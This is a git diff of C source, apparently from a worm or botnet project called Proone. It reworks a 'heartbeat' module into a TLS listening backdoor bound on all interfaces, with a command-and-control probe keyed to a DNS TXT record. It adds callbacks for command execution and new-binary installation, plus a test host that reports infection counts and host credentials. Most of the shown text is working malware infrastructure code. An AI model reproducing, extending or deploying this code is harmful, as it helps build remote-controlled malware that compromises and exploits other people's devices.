+	if (!htbt_lbd_client_handshake(ctx)) {
+		ctx->valid = false;
+	}
+
+	while (ctx->parent->loop_flag && ctx->valid) {
+		if (ctx->iobuf[1].len > 0) {
+			ev_spec =
+				PTH_EVENT_FD |
+				PTH_UNTIL_FD_READABLE |
+				PTH_UNTIL_FD_WRITEABLE |
+				PTH_UNTIL_FD_EXCEPTION;
+			pfd.events = POLLIN | POLLOUT;
+		}
+		else {
+			ev_spec =
+				PTH_EVENT_FD |
+				PTH_UNTIL_FD_READABLE |
+				PTH_UNTIL_FD_EXCEPTION;
+			pfd.events = POLLIN;
+		}
+
+		if (ev_timeout == NULL) {
+			ev_timeout = pth_event(
+				PTH_EVENT_TIME,
+				prne_pth_tstimeout(HTBT_LBD_SCK_OP_TIMEOUT));
+			prne_assert(ev_timeout != NULL);
+		}
+		pth_event_free(ev, FALSE);
+		ev = pth_event(
+			ev_spec,
+			ctx->fd);
+		prne_assert(ev != NULL);
+		pth_event_concat(ev, ev_timeout, NULL);
+
+		prne_assert(pth_mutex_acquire(&ctx->parent->lock, FALSE, ev));
+		pth_cond_await(&ctx->parent->cond, &ctx->parent->lock, ev);
+		pth_mutex_release(&ctx->parent->lock);
+		if (!ctx->parent->loop_flag) {
 			break;
 		}
-		fret = pth_poll_ev(&ctx->lbd.pfd, 1, -1, ev);
 
-		if (ev != NULL && pth_event_occurred(ev)) {
-			ent = ctx->lbd.conn_list.head;
-			while (ent != NULL) {
-				client = (htbt_lbd_client_t*)ent->element;
+		pfd.fd = ctx->fd;
+		if (poll(&pfd, 1, 0) == 1) {
+			if (!(pfd.revents & (POLLIN | POLLOUT))) {
+				break;
+			}
 
-				if (client->pfd.fd < 0) {
-					pth_join(client->pth, NULL);
-					prne_free(client);
-					ent = prne_llist_erase(&ctx->lbd.conn_list, ent);
-					rebuild_ev = true;
+			if (pfd.revents & POLLOUT) {
+				htbt_lbd_consume_outbuf(ctx, 0, ev_timeout);
+			}
+			if (pfd.revents & POLLIN) {
+				if (ctx->iobuf[0].avail == 0) {
+					prne_dbgpf("** Malicious client?\n");
+					goto END;
 				}
-				else {
-					ent = ent->next;
+				rw_size = mbedtls_ssl_read(
+					&ctx->ssl,
+					ctx->iobuf[0].m + ctx->iobuf[0].len,
+					ctx->iobuf[0].avail);
+				if (rw_size <= 0) {
+					break;
+				}
+				prne_iobuf_shift(ctx->iobuf + 0, rw_size);
+
+				if (htbt_lbd_consume_inbuf(ctx, ev_timeout)) {
+					pth_event_free(ev_timeout, FALSE);
+					ev_timeout = NULL;
 				}
 			}
 		}
+	}
+
+END:
+	pth_event_free(ev, TRUE);
+	htbt_lbd_proc_close(ctx);
+
+	return NULL;
+}
+
+static void htbt_init_lbd_client (htbt_lbd_client_t *c) {
+	c->pth = NULL;
+	c->parent = NULL;
+	prne_init_iobuf(c->iobuf + 0);
+	prne_init_iobuf(c->iobuf + 1);
+	c->fd = -1;
+	c->valid = true;
+	mbedtls_ssl_init(&c->ssl);
+}
+
+static void htbt_free_lbd_client (htbt_lbd_client_t *c) {
+	if (c == NULL) {
+		return;
+	}
+	pth_abort(c->pth);
+	prne_free_iobuf(c->iobuf + 0);
+	prne_free_iobuf(c->iobuf + 1);
+	prne_close(c->fd);
+	c->fd = -1;
+	mbedtls_ssl_free(&c->ssl);
+	prne_free(c);
+}
+
+static void htbt_lbd_setup_loop (prne_htbt_t *ctx) {
+	uint8_t m_sckaddr[prne_op_max(
+		sizeof(struct sockaddr_in),
+		sizeof(struct sockaddr_in6))];
+	int optval;
+	socklen_t sl;
+	pth_event_t ev;
+
+	while (ctx->loop_flag) {
+		prne_memzero(m_sckaddr, sizeof(m_sckaddr));
+		if ((ctx->lbd.fd = socket(AF_INET6, SOCK_STREAM, 0)) >= 0) {
+			struct sockaddr_in6* sa = (struct sockaddr_in6*)m_sckaddr;
+
+			sa->sin6_addr = in6addr_any;
+			sa->sin6_family = AF_INET6;
+			sa->sin6_port = HTBT_LBD_PORT;
+			sl = sizeof(struct sockaddr_in6);
+		}
+		else if ((ctx->lbd.fd = socket(AF_INET, SOCK_STREAM, 0)) >= 0) {
+			struct sockaddr_in* sa = (struct sockaddr_in*)m_sckaddr;
 
-		if (fret < 0 && errno != EINTR) {
+			sa->sin_addr.s_addr = INADDR_ANY;
+			sa->sin_family = AF_INET;
+			sa->sin_port = HTBT_LBD_PORT;
+			sl = sizeof(struct sockaddr_in);
+		}
+		else {
+			goto ERR;
+		}
+		if (!prne_sck_fcntl(ctx->lbd.fd)) {
+			goto ERR;
+		}
+		optval = 1;
+		setsockopt(
+			ctx->lbd.fd,
+			SOL_SOCKET,
+			SO_REUSEADDR,
+			&optval,
+			sizeof(optval));
+		if (bind(ctx->lbd.fd, (struct sockaddr*)m_sckaddr, sl) != 0) {
+			goto ERR;
+		}
+		if (listen(ctx->lbd.fd, HTBT_LBD_BACKLOG) != 0) {
+			goto ERR;
+		}
+
+		break;
+ERR:
+		prne_close(ctx->lbd.fd);
+		ctx->lbd.fd = -1;
+
+		ev = pth_event(
+			PTH_EVENT_TIME,
+			prne_pth_tstimeout(HTBT_LBD_BIND_INT));
+		prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
+		pth_cond_await(&ctx->cond, &ctx->lock, ev);
+		pth_mutex_release(&ctx->lock);
+		pth_event_free(ev, FALSE);
+	}
+}
+
+static void htbt_lbd_serve_loop (prne_htbt_t *ctx) {
+	int fret;
+	pth_event_t ev = NULL;
+	prne_llist_entry_t *ent;
+	htbt_lbd_client_t *client;
+	pth_attr_t attr;
+	pth_state_t ths;
+	struct pollfd pfd;
+	const size_t PAGESIZE = prne_getpagesize();
+
+	while (ctx->loop_flag) {
+		if (ev == NULL) {
+			ev = pth_event(
+				PTH_EVENT_FD | PTH_UNTIL_FD_READABLE | PTH_UNTIL_FD_EXCEPTION,
+				ctx->lbd.fd);
+			prne_assert(ev != NULL);
+
+			ent = ctx->lbd.conn_list.head;
+			while (ent != NULL) {
+				pth_event_t ev_sub = pth_event(
+					PTH_EVENT_TID | PTH_UNTIL_TID_DEAD,
+					((htbt_lbd_client_t*)ent->element)->pth);
+				prne_assert(ev_sub != NULL);
+				pth_event_concat(ev, ev_sub, NULL);
+
+				ent = ent->next;
+			}
+		}
+
+		prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
+		pth_cond_await(&ctx->cond, &ctx->lock, ev);
+		pth_mutex_release(&ctx->lock);
+		if (!ctx->loop_flag) {
 			break;
 		}
-		else if (fret > 0) {
-			if (ctx->lbd.pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
+
+		ent = ctx->lbd.conn_list.head;
+		while (ent != NULL) {
+			client = (htbt_lbd_client_t*)ent->element;
+
+			attr = pth_attr_of(client->pth);
+			prne_assert(pth_attr_get(attr, PTH_ATTR_STATE, &ths));
+			pth_attr_destroy(attr);
+
+			if (ths == PTH_STATE_DEAD) {
+				pth_join(client->pth, NULL);
+				client->pth = NULL;
+				htbt_free_lbd_client(client);
+				ent = prne_llist_erase(&ctx->lbd.conn_list, ent);
+
+				pth_event_free(ev, TRUE);
+				ev = NULL;
+			}
+			else {
+				ent = ent->next;
+			}
+		}
+
+		pfd.fd = ctx->lbd.fd;
+		pfd.events = POLLIN;
+		if (poll(&pfd, 1, 0) == 1) {
+			if (!(pfd.revents & POLLIN)) {
 				break;
 			}
-			else if (ctx->lbd.pfd.revents & POLLIN) {
+
+			fret = accept(ctx->lbd.fd, NULL, NULL);
+			if (fret >= 0) {
+				pth_event_free(ev, TRUE);
+				ev = NULL;
 				client = NULL;
 				ent = NULL;
-				fret = accept(ctx->lbd.pfd.fd, NULL, NULL);
-				do {
-					if (fret < 0) {
-						break;
-					}
+				do { // TRY
+					const size_t IOBUF_SIZE[2][2] = {
+						// TODO: switch after testing
+						{
+							PRNE_HTBT_PROTO_MIN_BUF,
+							PRNE_HTBT_PROTO_SUB_MIN_BUF },
+						{ PAGESIZE, PAGESIZE }
+					};
+					bool alloc;
 
 					client = (htbt_lbd_client_t*)prne_malloc(
 						sizeof(htbt_lbd_client_t),
 						1);
 					if (client == NULL) {
-						break;
+						goto CATCH;
+					}
+					htbt_init_lbd_client(client);
+
+					for (size_t i = 0; i < 2; i += 1) {
+						alloc =
+							prne_alloc_iobuf(
+								client->iobuf + 0,
+								IOBUF_SIZE[i][0]) &&
+							prne_alloc_iobuf(
+								client->iobuf + 1,
+								IOBUF_SIZE[i][1]);
+						if (alloc) {
+							break;
+						}
+					}
+					if (!alloc) {
+						goto CATCH;
 					}
 
-					client->pth = NULL;
 					client->parent = ctx;
-					client->pfd.fd = fret;
+					client->fd = fret;
+					if (mbedtls_ssl_setup(
+						&client->ssl,
+						ctx->param.lbd_ssl_conf) != 0)
+					{
+						goto CATCH;
+					}
+					mbedtls_ssl_set_bio(
+						&client->ssl,
+						&client->fd,
+						prne_mbedtls_ssl_send_cb,
+						prne_mbedtls_ssl_recv_cb,
+						NULL);
 
 					ent = prne_llist_append(&ctx->lbd.conn_list, client);
 					if (ent == NULL) {
-						break;
+						goto CATCH;
 					}
 
 					client->pth = pth_spawn(
 						PTH_ATTR_DEFAULT,
 						htbt_lbd_client_entry,
-						ent);
+						client);
 					if (client->pth == NULL) {
-						break;
+						goto CATCH;
 					}
 
-					fret = -1;
-					client = NULL;
-					ent = NULL;
-					rebuild_ev = true;
-				} while (false);
+					pth_event_free(ev, TRUE);
+					ev = NULL;
 
-				if (client != NULL) {
-					if (client->pth != NULL) {
-						pth_abort(client->pth);
+					break;
+CATCH:				// CATCH
+					if (ent != NULL) {
+						prne_llist_erase(&ctx->lbd.conn_list, ent);
+						ent = NULL;
 					}
-				}
-				if  (ent != NULL) {
-					prne_llist_erase(&ctx->lbd.conn_list, ent);
-				}
-				prne_close(fret);
+					if (client != NULL) {
+						htbt_free_lbd_client(client);
+					}
+					prne_close(fret);
+				} while (false);
 			}
 		}
 	}
@@ -265,32 +1161,36 @@ static void *htbt_lbd_entry (void *p) {
 	ent = ctx->lbd.conn_list.head;
 	while (ent != NULL) {
 		client = (htbt_lbd_client_t*)ent->element;
+		ent = ent->next;
 
-		prne_close(client->pfd.fd);
-		client->pfd.fd = -1;
 		pth_join(client->pth, NULL);
-
 		prne_free(client);
-
-		ent = ent->next;
 	}
 	prne_llist_clear(&ctx->lbd.conn_list);
+}
+
+static void *htbt_lbd_entry (void *p) {
+	HTBT_INTP_CTX(p);
+
+	htbt_lbd_setup_loop(ctx);
+	htbt_lbd_serve_loop(ctx);
 
 	return NULL;
 }
 
-prne_htbt_t *prne_alloc_htbt_worker (
+prne_htbt_t *prne_alloc_htbt (
 	prne_worker_t *w,
-	pth_t sigterm_pth,
-	prne_resolv_t *resolv,
-	mbedtls_ctr_drbg_context *ctr_drbg)
+	const prne_htbt_param_t param)
 {
 	prne_htbt_t *ret = NULL;
-	uint8_t m_sckaddr[prne_op_max(
-		sizeof(struct sockaddr_in),
-		sizeof(struct sockaddr_in6))];
 
-	if (sigterm_pth == NULL || ctr_drbg == NULL) {
+	if (w == NULL ||
+		param.cb_f.cnc_txtrec == NULL ||
+		param.lbd_ssl_conf == NULL ||
+		param.cncp_ssl_conf == NULL ||
+		param.ctr_drbg == NULL ||
+		param.resolv == NULL)
+	{
 		errno = EINVAL;
 		goto ERR;
 	}
@@ -300,74 +1200,30 @@ prne_htbt_t *prne_alloc_htbt_worker (
 		goto ERR;
 	}
 
-	ret->sigterm_pth = sigterm_pth;
-	ret->rnd = ctr_drbg;
-	ret->resolv = resolv;
-	prne_init_llist(&ret->req_q);
+	ret->param = param;
+	prne_init_llist(&ret->main.req_q);
 	ret->loop_flag = true;
-	pth_mutex_init(&ret->main.lock);
-	pth_cond_init(&ret->main.cond);
+	pth_mutex_init(&ret->lock);
+	pth_cond_init(&ret->cond);
 
 	ret->cncp.pth = NULL;
-	pth_mutex_init(&ret->cncp.lock);
-	pth_cond_init(&ret->cncp.cond);
-	ret->cncp.cv.broadcast = false;
-	ret->cncp.cv.lock = &ret->cncp.lock;
-	ret->cncp.cv.cond = &ret->cncp.cond;
 
 	ret->lbd.pth = NULL;
-	ret->lbd.pfd.fd = -1;
+	ret->lbd.fd = -1;
 	prne_init_llist(&ret->lbd.conn_list);
 
-	if (resolv != NULL) {
-		ret->cncp.pth = pth_spawn(
-			PTH_ATTR_DEFAULT,
-			htbt_cncp_entry,
-			ret);
-		if (ret->cncp.pth == NULL) {
-			goto ERR;
-		}
-		if (pth_suspend(ret->cncp.pth) == 0) {
-			goto ERR;
-		}
+	pth_mutex_init(&ret->cncp.lock);
+	pth_cond_init(&ret->cncp.cond);
+	ret->cncp.pth = pth_spawn(
+		PTH_ATTR_DEFAULT,
+		htbt_cncp_entry,
+		ret);
+	if (ret->cncp.pth == NULL || pth_suspend(ret->cncp.pth) == 0) {
+		goto ERR;
 	}
 
-	do {
-		socklen_t sl;
-
-		memzero(m_sckaddr, sizeof(m_sckaddr));
-		if ((ret->lbd.pfd.fd = socket(AF_INET6, SOCK_STREAM, 0)) >= 0) {
-			((struct sockaddr_in6*)m_sckaddr)->sin6_addr = in6addr_any;
-			((struct sockaddr_in6*)m_sckaddr)->sin6_family = AF_INET6;
-			((struct sockaddr_in6*)m_sckaddr)->sin6_port = HTBT_CNCP_PORT;
-			sl = sizeof(struct sockaddr_in6);
-		}
-		else if ((ret->lbd.pfd.fd = socket(AF_INET, SOCK_STREAM, 0)) >= 0) {
-			((struct sockaddr_in*)m_sckaddr)->sin_addr.s_addr = INADDR_ANY;
-			((struct sockaddr_in*)m_sckaddr)->sin_family = AF_INET;
-			((struct sockaddr_in*)m_sckaddr)->sin_port = HTBT_CNCP_PORT;
-			sl = sizeof(struct sockaddr_in);
-		}
-		else {
-			break;
-		}
-
-		if (fcntl(ret->lbd.pfd.fd, F_SETFL, O_NONBLOCK) != 0) {
-			break;
-		}
-		if (bind(ret->lbd.pfd.fd, (struct sockaddr*)m_sckaddr, sl) != 0) {
-			break;
-		}
-		ret->lbd.pfd.events = POLLIN;
-
-		ret->lbd.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_lbd_entry, ret);
-		if (pth_suspend(ret->lbd.pth) == 0) {
-			goto ERR;
-		}
-	} while (false);
-
-	if (ret->cncp.pth == NULL && ret->lbd.pth == NULL) {
-		// No producer
+	ret->lbd.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_lbd_entry, ret);
+	if (ret->lbd.pth == NULL || pth_suspend(ret->lbd.pth) == 0) {
 		goto ERR;
 	}
 
@@ -385,3 +1241,9 @@ ERR:
 	}
 	return NULL;
 }
+
+void prne_htbt_init_param (prne_htbt_param_t *p) {
+	prne_memzero(p, sizeof(prne_htbt_param_t));
+}
+
+void prne_htbt_free_param (prne_htbt_param_t *p) {}
diff --git a/src/htbt.h b/src/htbt.h
index edb6cda..b714b1e 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -1,14 +1,35 @@
 #pragma once
 #include "pth.h"
 #include "resolv.h"
+#include "protocol.h"
+
+#include <mbedtls/ssl.h>
 
 
-typedef struct prne_htbt prne_htbt_t;
 struct prne_htbt;
+typedef struct prne_htbt prne_htbt_t;
+typedef struct prne_htbt_param prne_htbt_param_t;
+typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out);
+typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out);
+typedef char*(*prne_htbt_tmpfile_ft)(const size_t req_size);
+typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd);
+typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd);
+
+struct prne_htbt_param {
+	mbedtls_ssl_config *lbd_ssl_conf;
+	mbedtls_ssl_config *cncp_ssl_conf;
+	mbedtls_ctr_drbg_context *ctr_drbg;
+	prne_resolv_t *resolv;
+	struct {
+		prne_htbt_cnc_txtrec_ft cnc_txtrec;
+		prne_htbt_hostinfo_ft hostinfo; // optional
+		prne_htbt_tmpfile_ft tmpfile; // optional
+		prne_htbt_bin_ft ny_bin; // optional
+	} cb_f;
+};
+
 
+prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t param);
 
-prne_htbt_t *prne_alloc_htbt_worker (
-	prne_worker_t *w,
-	pth_t sigterm_pth,
-	prne_resolv_t *resolv, // optional
-	mbedtls_ctr_drbg_context *ctr_drbg);
+void prne_htbt_init_param (prne_htbt_param_t *p);
+void prne_htbt_free_param (prne_htbt_param_t *p);
diff --git a/src/iobuf.c b/src/iobuf.c
new file mode 100644
index 0000000..38aa296
--- /dev/null
+++ b/src/iobuf.c
@@ -0,0 +1,83 @@
+#include "iobuf.h"
+#include "util_ct.h"
+#include "util_rt.h"
+
+#include <string.h>
+
+
+void prne_init_iobuf (prne_iobuf_t *ib){
+	prne_memzero(ib ,sizeof(prne_iobuf_t));
+}
+
+void prne_free_iobuf (prne_iobuf_t *ib) {
+	if (ib->ownership) {
+		prne_free(ib->m);
+		ib->m = NULL;
+		ib->size = 0;
+		ib->avail = 0;
+		ib->len = 0;
+	}
+}
+
+bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size) {
+	uint8_t *ny;
+
+	ny = (uint8_t*)prne_realloc(ib->ownership ? ib->m : NULL, 1, ny_size);
+	if (ny == NULL) {
+		return false;
+	}
+
+	if (!ib->ownership) {
+		memcpy(ny, ib->m, prne_op_min(ny_size, ib->size));
+	}
+
+	if (ib->size < ny_size) {
+		ib->avail += ny_size - ib->size;
+	}
+	else {
+		ib->avail -= ib->size - ny_size;
+	}
+	ib->m = ny;
+	ib->size = ny_size;
+	ib->ownership = true;
+
+	return true;
+}
+
+void prne_iobuf_setextbuf (
+	prne_iobuf_t *ib,
+	uint8_t *m,
+	const size_t size,
+	const size_t len)
+{
+	prne_dbgast(size >= len);
+	prne_free_iobuf(ib);
+	ib->m = m;
+	ib->size = size;
+	ib->len = len;
+	ib->avail = size - len;
+	ib->ownership = false;
+}
+
+void prne_iobuf_reset (prne_iobuf_t *ib) {
+	ib->avail = ib->size;
+	ib->len = 0;
+}
+
+void prne_iobuf_shift (prne_iobuf_t *ib, const ssize_t amount) {
+	if (amount == 0) {
+		return;
+	}
+	else if (amount > 0) {
+		prne_dbgast(ib->avail >= (size_t)amount);
+	}
+	else {
+		prne_dbgast(ib->len >= (size_t)(amount * -1));
+	}
+
+	ib->len += amount;
+	ib->avail -= amount;
+	if (amount < 0) {
+		memmove(ib->m, ib->m + (-amount), ib->len);
+	}
+}
diff --git a/src/iobuf.h b/src/iobuf.h
new file mode 100644
index 0000000..cb28446
--- /dev/null
+++ b/src/iobuf.h
@@ -0,0 +1,29 @@
+#pragma once
+#include <stdint.h>
+#include <stddef.h>
+#include <stdbool.h>
+
+#include <sys/types.h>
+
+
+typedef struct prne_iobuf prne_iobuf_t;
+
+struct prne_iobuf {
+	uint8_t *m;
+	size_t size;
+	size_t avail;
+	size_t len;
+	bool ownership;
+};
+
+
+void prne_init_iobuf (prne_iobuf_t *ib);
+void prne_free_iobuf (prne_iobuf_t *ib);
+bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size);
+void prne_iobuf_setextbuf (
+	prne_iobuf_t *ib,
+	uint8_t *m,
+	const size_t size,
+	const size_t len);
+void prne_iobuf_reset (prne_iobuf_t *ib);
+void prne_iobuf_shift (prne_iobuf_t *ib, const ssize_t amount);
diff --git a/src/mbedtls.c b/src/mbedtls.c
index 2b2cbc6..af5acf1 100644
--- a/src/mbedtls.c
+++ b/src/mbedtls.c
@@ -1,11 +1,12 @@
 #include "mbedtls.h"
 #include "util_ct.h"
+#include "util_rt.h"
 
-#include <unistd.h>
 #include <errno.h>
 #include <string.h>
+
+#include <unistd.h>
 #include <fcntl.h>
-#include <time.h>
 
 #include <mbedtls/ssl.h>
 #include <mbedtls/entropy_poll.h>
@@ -19,7 +20,7 @@ int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt
 int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len) {
 	const int fd = *(int*)ctx;
 	ssize_t ret;
-	
+
 	ret = write(fd, buf, len);
 	if (ret < 0) {
 		switch (errno) {
@@ -83,7 +84,7 @@ typedef struct {
 static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, size_t len, size_t *olen) {
 	ent_buf_t buf;
 
-	memzero(&buf, sizeof(buf));
+	prne_memzero(&buf, sizeof(buf));
 	buf.pid = getpid();
 	buf.ppid = getppid();
 	buf.clock = clock();
@@ -111,3 +112,48 @@ void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx) {
 		}
 	}
 }
+
+bool prne_mbedtls_pth_handle (
+	mbedtls_ssl_context *ssl,
+	int(*mbedtls_f)(mbedtls_ssl_context*),
+	const int fd,
+	pth_event_t ev)
+{
+	int pollret;
+	struct pollfd pfd;
+
+	pfd.fd = fd;
+
+	while (true) {
+		switch (mbedtls_f(ssl)) {
+		case MBEDTLS_ERR_SSL_WANT_READ:
+			pfd.events = POLLIN;
+			break;
+		case MBEDTLS_ERR_SSL_WANT_WRITE:
+			pfd.events = POLLOUT;
+			break;
+		case 0:
+			return true;
+		default:
+			return false;
+		}
+
+		do {
+			pollret = pth_poll_ev(&pfd, 1, -1, ev);
+			if (pollret < 0) {
+				if (errno == EINTR) {
+					continue;
+				}
+				else {
+					return false;
+				}
+			}
+			if (pollret == 0 || pth_event_status(ev) == PTH_STATUS_OCCURRED) {
+				return false;
+			}
+			if (pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) {
+				return false;
+			}
+		} while (false);
+	}
+}
diff --git a/src/mbedtls.h b/src/mbedtls.h
index e7a9017..00386ee 100644
--- a/src/mbedtls.h
+++ b/src/mbedtls.h
@@ -2,9 +2,14 @@
 #include <stdint.h>
 #include <stdbool.h>
 #include <stddef.h>
+#include <time.h>
 
+#include <poll.h>
+
+#include <mbedtls/ssl.h>
 #include <mbedtls/x509_crt.h>
 #include <mbedtls/entropy.h>
+#include <pthsem.h>
 
 
 // Callback that masks `MBEDTLS_X509_BADCERT_EXPIRED`
@@ -15,3 +20,13 @@ int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len);
 * Workaround for a bug - getrandom() blocks
 */
 void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx);
+
+/* Convenience Functions
+*/
+
+// Handles mbedtls_ssl_handshake(), mbedtls_ssl_close_notify()
+bool prne_mbedtls_pth_handle (
+	mbedtls_ssl_context *ssl,
+	int(*mbedtls_f)(mbedtls_ssl_context*),
+	const int fd,
+	pth_event_t ev);
diff --git a/src/pack.c b/src/pack.c
index b3645e4..94601b9 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -146,7 +146,7 @@ prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, con
 		pr.err = errno;
 		goto ERR;
 	}
-	memzero(&ret->zs, sizeof(ret->zs));
+	prne_memzero(&ret->zs, sizeof(ret->zs));
 	if (Z_OK != (pr.err = inflateInit(&ret->zs))) {
 		prne_free(ret);
 		ret = NULL;
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
new file mode 100644
index 0000000..e69de29
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
new file mode 100644
index 0000000..4ba2f73
--- /dev/null
+++ b/src/proone-htbthost.c
@@ -0,0 +1,425 @@
+#include <stdio.h>
+#include <assert.h>
+#include <ctype.h>
+#include <string.h>
+#include <errno.h>
+#include <time.h>
+#include <inttypes.h>
+
+#include <unistd.h>
+#include <fcntl.h>
+#include <regex.h>
+#include <arpa/inet.h>
+
+#include "util_rt.h"
+#include "htbt.h"
+#include "config.h"
+#include "mbedtls.h"
+#include "proone_conf/x509.h"
+
+#include <mbedtls/entropy.h>
+#include <mbedtls/debug.h>
+
+#define HELP_STR \
+"Usage: %s <TXT REC> [options ...] [DNS SPECs...]\n"\
+"Options:\n"\
+"	<TXT REC>		Target TXT record for CNCP\n"\
+"	--help			print this message\n"\
+"	--no-verify		Do not verify client cert\n"\
+"	--no-default-dns	Do not use hard-coded nameserver pools\n"\
+"	@<DNS SPEC>		DNS over TLS nameserver\n"\
+"Notes:\n"\
+"	IPv4 <DNS SPEC> example: @192.0.2.1 or 192.0.2.1:853\n"\
+"	IPv6 <DNS SPEC> example: @[2001:db8::1] or [2001:db8::1]:853\n"
+
+typedef struct {
+	char txtrec[256];
+	bool verify;
+	bool def_dns;
+	prne_resolv_ns_pool_t pool4;
+	prne_resolv_ns_pool_t pool6;
+} htbthost_param_t;
+
+static htbthost_param_t htbthost_param;
+static regex_t re_ns4, re_ns6;
+static char m_nybin_path[256];
+static char m_nybin_args[1024];
+static size_t m_nybin_args_size;
+static sigset_t ss_all, ss_exit;
+static struct timespec proc_start;
+static uint8_t instance_id[16];
+static char hostcred[255];
+static size_t hostcred_len;
+
+static void init_htbthost_param (htbthost_param_t *p) {
+	p->verify = true;
+	p->def_dns = true;
+	prne_resolv_init_ns_pool(&p->pool4);
+	prne_resolv_init_ns_pool(&p->pool6);
+}
+
+static void free_htbthost_param (htbthost_param_t *p) {
+	prne_resolv_free_ns_pool(&p->pool4);
+	prne_resolv_free_ns_pool(&p->pool6);
+}
+
+static void print_usage (const char *prog) {
+	fprintf(stderr, HELP_STR, prog);
+}
+
+static bool cb_txtrec (char *out) {
+	strcpy(out, htbthost_param.txtrec);
+	return true;
+}
+
+static bool cb_hostinfo (prne_htbt_host_info_t *out) {
+	static struct timespec now;
+	static uint8_t PROG_VER[] = PRNE_PROG_VER;
+	int fd;
+
+	now = prne_gettime(CLOCK_MONOTONIC);
+	out->child_uptime = out->parent_uptime = prne_sub_timespec(
+		now,
+		proc_start).tv_sec;
+	out->bne_cnt = 0;
+	out->infect_cnt = 0;
+	out->parent_pid = out->child_pid = getpid();
+
+	_Static_assert(sizeof(PROG_VER) == sizeof(out->prog_ver), "FIXME");
+	memcpy(out->prog_ver, PROG_VER, sizeof(PROG_VER));
+
+	fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY);
+	if (fd >= 0) {
+		read(fd, out->boot_id, sizeof(out->boot_id));
+		close(fd);
+	}
+
+	_Static_assert(sizeof(instance_id) == sizeof(out->instance_id), "FIXME");
+	memcpy(out->instance_id, instance_id, sizeof(instance_id));
+
+	if (prne_htbt_alloc_host_info(out, hostcred_len)) {
+		memcpy(out->host_cred, hostcred, hostcred_len);
+	}
+
+	out->crash_cnt = 0;
+	out->arch = prne_host_arch;
+
+	return true;
+}
+
+static bool cb_ny_bin (
+	const char *path,
+	const char *m_args,
+	const size_t m_args_size)
+{
+	const size_t path_len = prne_nstrlen(path);
+
+	prne_dbgast(path_len > 0);
+	if (path_len + 1 > sizeof(m_nybin_path) || m_args_size > sizeof(m_nybin_args)) {
+		errno = ENOMEM;
+		return false;
+	}
+
+	memcpy(m_nybin_path, path, path_len + 1);
+	memcpy(m_nybin_args, m_args, m_args_size);
+	m_nybin_args_size = m_args_size;
+
+	return true;
+}
+
+static void load_lbd_ssl_conf (
+	mbedtls_ssl_config *conf,
+	mbedtls_x509_crt *ca,
+	mbedtls_x509_crt *crt,
+	mbedtls_pk_context *key,
+	mbedtls_dhm_context *dhm,
+	mbedtls_ctr_drbg_context *rnd)
+{
+	static const uint8_t
+		CA_CRT[] = PRNE_X509_CA_CRT,
+		S_CRT[] = PRNE_X509_S_CRT,
+		S_KEY[] = PRNE_X509_S_KEY,
+		DH[] = PRNE_X509_DH;
+
+	assert(
+		mbedtls_ssl_config_defaults(
+			conf,
+			MBEDTLS_SSL_IS_SERVER,
+			MBEDTLS_SSL_TRANSPORT_STREAM,
+			MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
+		mbedtls_x509_crt_parse(ca, CA_CRT, sizeof(CA_CRT)) == 0 &&
+		mbedtls_x509_crt_parse(crt, S_CRT, sizeof(S_CRT)) == 0 &&
+		mbedtls_pk_parse_key(key, S_KEY, sizeof(S_KEY), NULL, 0) == 0 &&
+		mbedtls_dhm_parse_dhm(dhm, DH, sizeof(DH)) == 0 &&
+		mbedtls_ssl_conf_own_cert(conf, crt, key) == 0 &&
+		mbedtls_ssl_conf_dh_param_ctx(conf, dhm) == 0);
+	mbedtls_ssl_conf_ca_chain(conf, ca, NULL);
+	mbedtls_ssl_conf_verify(conf, prne_mbedtls_x509_crt_verify_cb, NULL);
+	mbedtls_ssl_conf_rng(conf, mbedtls_ctr_drbg_random, rnd);
+	mbedtls_ssl_conf_min_version(
+		conf,
+		MBEDTLS_SSL_MAJOR_VERSION_3,
+		MBEDTLS_SSL_MINOR_VERSION_0);
+}
+
+static void mbedtls_dbg_f(void *ctx, int level, const char *filename, int line, const char *msg) {
+	prne_dbgpf("<MBEDTLS> %s", msg);
+}
+
+static bool parse_param (const char *arg) {
+	char str[40];
+	regmatch_t rm[3];
+
+	if (strcmp(arg, "--no-verify") == 0) {
+		htbthost_param.verify = false;
+	}
+	else if (strcmp(arg, "--no-default-dns") == 0) {
+		htbthost_param.def_dns = false;
+	}
+	else if (regexec(&re_ns4, arg, 3, rm, 0) == 0) {
+		prne_net_endpoint_t ep;
+		size_t pos;
+
+		pos = rm[1].rm_eo - rm[1].rm_so;
+		memcpy(str, arg + rm[1].rm_so, pos);
+		str[pos] = 0;
+
+		if (rm[2].rm_so >= 0) {
+			if (sscanf(arg + rm[2].rm_so, ":%"SCNu16, &ep.port) != 1) {
+				return false;
+			}
+		}
+		else {
+			ep.port = 853;
+		}
+
+		if (inet_pton(AF_INET, str, ep.addr.addr)) {
+			ep.addr.ver = PRNE_IPV_4;
+			pos = htbthost_param.pool4.cnt;
+			prne_resolv_alloc_ns_pool(&htbthost_param.pool4, pos + 1);
